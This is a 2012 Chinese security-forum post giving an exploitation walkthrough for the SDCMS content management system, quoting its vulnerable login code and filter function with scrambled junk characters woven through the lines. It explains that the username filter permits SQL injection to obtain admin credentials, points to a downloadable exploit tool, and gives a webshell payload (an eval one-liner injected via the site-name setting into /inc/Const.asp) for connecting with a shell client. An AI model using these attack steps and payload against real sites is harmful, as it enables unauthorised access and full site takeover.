找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3192|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥  `3 x$ j" b8 \. a
漏洞文件:后台目录/index.asp
7 ]" J) F* r2 r9 j& d& B3 X
  c9 r9 g5 D( B( h% QSub Check( I% L! Q* N3 r1 ?3 g6 }2 b4 o! h' z
    Dim username,password,code,getcode,Rs
! c4 m. }/ r" q8 p    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
. m( k5 t0 W7 l. \" y9 l    username=FilterText(Trim(Request.Form("username")),1)
: a9 Q& V9 G6 B    password=FilterText(Trim(Request.Form("password")),1)
2 C0 I6 ~2 ^0 p# O- K0 r    code=Trim(Request.Form("yzm")); {9 S6 H* D$ P0 S3 m
    getcode=Session("SDCMSCode")
# P/ V/ `, q" K# w/ E! ^4 f% D    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died* ~/ w0 X7 r! x/ m) E5 `5 O
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied9 Z: n) h* k/ `7 a; d
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied5 ?# B4 a3 a& a% x, o
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
9 b1 j' v. t! f9 A5 `* K6 g1 S6 Q    IF username="" or password="" Then' f4 D* R4 a4 R3 s
        Echo "用户名或密码不能为空"ied
0 w+ w6 a' f* M    Else
4 h$ [2 b: p' O; l! F( g        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
9 @' V5 X* N' B6 ~1 X        IF Rs.Eof Then
, i8 q: f6 A2 k            AddLog username,GetIp,"登录失败",1" ^2 Z: J/ s; |4 \
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"9 m/ t' t4 L' U9 o2 D+ I
        Else
5 p7 o" o0 Y2 K0 y9 b1 f            Add_Cookies "sdcms_id",Rs(0)$ u; [: b! O! y* T2 m7 D; W  H
            Add_Cookies "sdcms_name",username- w! A# }4 [: g& X- ?5 ^
            Add_Cookies "sdcms_pwd",Rs(2)# P1 b4 E4 d- D5 {7 p
            Add_Cookies "sdcms_admin",Rs(3)4 C' D7 [+ h9 v4 G+ [; n  }
            Add_Cookies "sdcms_alllever",Rs(4)5 f! l0 ?6 j7 G* I
            Add_Cookies "sdcms_infolever",Rs(5)
0 f+ T) d, Y9 t2 v( w            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
2 I, L$ V, v- E6 {$ A  c            AddLog username,GetIp,"登录成功",1- Z* }7 U5 i2 K8 C* K: K) \
            '自动删除30天前的Log记录
% I5 ^* n2 M+ m  E. ?8 N3 n/ F            IF Sdcms_DataType Then
4 \+ j8 g: P8 E6 ^' j' I1 \                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30"); b% ~( o5 [$ R8 x
            Else
0 q9 x+ |5 r' E1 }) S# \; D                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30"), E1 T6 D1 S0 z3 @2 O
            End IF
$ c" |$ T# P( F: u* {" Q            Go("sdcms_index.asp")
6 u. h. m  X1 D; N# g2 q9 ~. ]        End IF9 m0 U+ g( H& L- {
        Rs.Close$ |+ J0 b+ E& l! ^) Y: p+ V5 f
        Set Rs=Nothing
! v3 g0 H  U/ M8 @    End IF
  K% Y" y, A+ m2 z/ X% {End Sub4 x% @9 A; k6 F2 o" }1 s
" j$ ]$ h0 U! m6 T% g$ t
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
0 ~; ?, {& M! h: z
* u8 F1 D" ]0 w# _, h1 yFunction FilterText(ByVal t0,ByVal t1)
# i' p; }: c) d+ `7 d" W    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
* l( U4 _, r3 z  h0 O* \    t0=Trim(t0)- C8 I9 Q4 }8 F) Y" U
    Select Case t1" J2 c; T; v( X1 i4 a
        Case "1"
: V) h0 _% \- o7 r            t0=Replace(t0,Chr(32),"")" w1 F+ O4 N4 a( f
            t0=Replace(t0,Chr(13),"")
1 u+ l9 i& R: B& y" c            t0=Replace(t0,Chr(10)&Chr(10),"")) b" _4 A4 \8 e4 Y% `+ [4 R
            t0=Replace(t0,Chr(10),"")8 Y  ^! ~* {0 T/ [, c+ B
        Case "2"
1 h2 y+ ?9 e" t( T- I7 ^            t0=Replace(t0,Chr(8),"")'回格6 }' g( y0 d! L  x7 a0 v
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)4 d0 V: s0 X  s9 S
            t0=Replace(t0,Chr(10),"")'换行
2 t& I/ w7 g: Q- s/ {" h4 p            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
6 k9 ?; A9 n0 M4 I- c7 m& @            t0=Replace(t0,Chr(12),"")'换页" I+ F$ R  w1 b& e& p. [( ^+ Z
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
+ k# j, i, Y9 k- f! n            t0=Replace(t0,Chr(22),"")9 ]/ `  G; C# @! A
            t0=Replace(t0,Chr(32),"")'空格 SPACE
6 c- B( B( ^' V' s; ^- z            t0=Replace(t0,Chr(33),"")'!% x  J3 H0 ^, J1 g# D, @5 W
            t0=Replace(t0,Chr(34),"")'"& @- F& U- J3 e  [% P, G
            t0=Replace(t0,Chr(35),"")'#; e" C( `+ {2 _5 v' Q3 F: Z
            t0=Replace(t0,Chr(36),"")'$
" S; W. b: S; q9 M            t0=Replace(t0,Chr(37),"")'%
+ j0 r: J- q9 O- M* a6 |% \: v            t0=Replace(t0,Chr(38),"")'&  v4 r+ O" r: C' |$ l' J
            t0=Replace(t0,Chr(39),"")''- o* |- h0 h9 h9 X, S
            t0=Replace(t0,Chr(40),"")'(
3 s% s5 x% K. ~8 L6 p" Q* Q            t0=Replace(t0,Chr(41),"")')
- ^0 O8 ^" I4 r( Z2 L* `            t0=Replace(t0,Chr(42),"")'*
* P9 c. a7 B7 P+ e0 y            t0=Replace(t0,Chr(43),"")'+
3 S' x* R, A, s6 R            t0=Replace(t0,Chr(44),"")',6 s: T& [' ^% W% z1 m
            t0=Replace(t0,Chr(45),"")'-) p* y" R  l! p, n
            t0=Replace(t0,Chr(46),"")'.
3 C( H0 u$ i+ J) i; D: }0 o8 X            t0=Replace(t0,Chr(47),"")'/
; ?  Z" f5 ?( N) P1 K            t0=Replace(t0,Chr(58),"")':
5 b4 h! u3 C, W+ U            t0=Replace(t0,Chr(59),"")';
2 b  C# ~- F4 N5 ^8 Y$ _, f/ m) h/ S            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>* u! ^- B1 `6 z9 d+ r9 {0 A
            t0=Replace(t0,Chr(63),"")'?
! O" u, ?$ P7 M1 `            t0=Replace(t0,Chr(64),"")'@: y, C  {2 e! {% x1 r. {" }
            t0=Replace(t0,Chr(91),"")'\# _6 a4 z  }2 K  a1 U, b
            t0=Replace(t0,Chr(92),"")'\$ D; Z( [* T1 o4 f2 H1 W
            t0=Replace(t0,Chr(93),"")']3 B* L- V+ ^3 j7 `. W) n; L
            t0=Replace(t0,Chr(94),"")'^
" m, Q0 Q7 i5 b2 K            t0=Replace(t0,Chr(95),"")'_$ u9 T  t( ^# U+ F' T6 I4 m
            t0=Replace(t0,Chr(96),"")'`
! d3 n) d) N7 @1 E% L            t0=Replace(t0,Chr(123),"")'{
3 B" T5 ^" p. ]# I! Y            t0=Replace(t0,Chr(124),"")'|
# ^! U. Y) B6 u4 M; R            t0=Replace(t0,Chr(125),"")'}
& t6 a2 h# }' T7 f# X            t0=Replace(t0,Chr(126),"")'~+ `' X! D" \- x3 _2 y
    Case Else
$ a  h6 `1 j; p; K! `$ u. g        t0=Replace(t0, "&", "&")
: @' r4 s3 J& {4 j/ C        t0=Replace(t0, "'", "'")
8 n8 A: y- n, J0 R/ \- V5 y        t0=Replace(t0, """", """)
3 }6 H7 l+ |/ D. ^0 ~9 V        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")8 U9 M% D% B6 Z/ F) R1 ~
    End Select2 O) u: S  S, u; y1 a3 [5 E
    IF Instr(Lcase(t0),"expression")>0 Then; q% R6 `- c2 \; c9 Y% B: I
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
( m& {7 \1 P6 X3 U9 |1 ]    End If
1 V  U- Y/ q' {" k+ {    FilterText=t08 q3 q: Q7 d6 K; ]' K. {+ E2 M
End Function$ r) T, G8 f, o& |; {  F

; ]+ K3 U1 l! D% `. c' }看到没。直接参数是1 只过滤* a2 i5 I* [' Y* j# D/ X
                        t0=Replace(t0,Chr(32)," ")
& k3 p' h: c3 h6 N                        t0=Replace(t0,Chr(13),"")
1 i- b! ^8 K/ r) Y                        t0=Replace(t0,Chr(10)&Chr(10),"
. Q7 W5 E0 ?7 k! q& R")' f4 p% r% T0 Y. c" I+ K) a' }
                        t0=Replace(t0,Chr(10),"
( B; c% o+ C! @4 R) S, v")* ^; b' Q% v3 y5 O( C. D7 H
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!# \# H9 K4 I- E/ O: F; S' ]2 k
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
4 u4 b6 E7 \9 n$ h. l5 k5 K. v1 D0 Y* b' W/ Y
测试:
7 E; d" c- [7 n9 B, ?1 }; l* v3 m  `7 D( }
2 ]- r" X/ {8 y' ^
现在输入工具上验证码,然后点OK
  q4 Y1 |. v' p! l! K) r! o. ]. U& [$ X" E" f

2 M/ d" }2 ^8 u- C( z% ~看到我们直接进入后台管理界面了,呵呵!
& r, V( X  f* b  ~/ n& C
' _+ @# U+ t1 F- h) |3 m) ~. ]
- G6 }# B, a4 {, i" i4 c5 K6 D; {, N7 ~  W& c4 i
这样直接进入后台了。。。。
" x2 P" U' T. T( y9 E$ N' z% D( m, R" u7 Q" t& d6 K

3 Q3 n* k% l: F5 |8 C5 C" B. V9 V, \& H& l3 |+ z: r# @: g0 m/ Z# f8 ?' }
SDCMS提权:
0 R( [+ B$ v; w: ~3 m
* ]( @" C+ t/ n方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
# c3 V* o2 q# C" c8 m2 j
+ Q1 l3 _; V& O. f$ @0 H$ ~* B+ e, Z: y- J% |* h+ W
. E8 d2 H; D* J2 p* w
OK,现在用菜刀连接下!/ F0 X# ]) J6 N. v' c

) P: W9 z6 S5 P/ _* Y  D" M$ c, D3 [& K/ }1 {$ w1 J
" d' r5 }/ s) F$ `. q. }
4 }; O, P# ~* T" S5 u
; v. |6 e; x  p5 r, }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表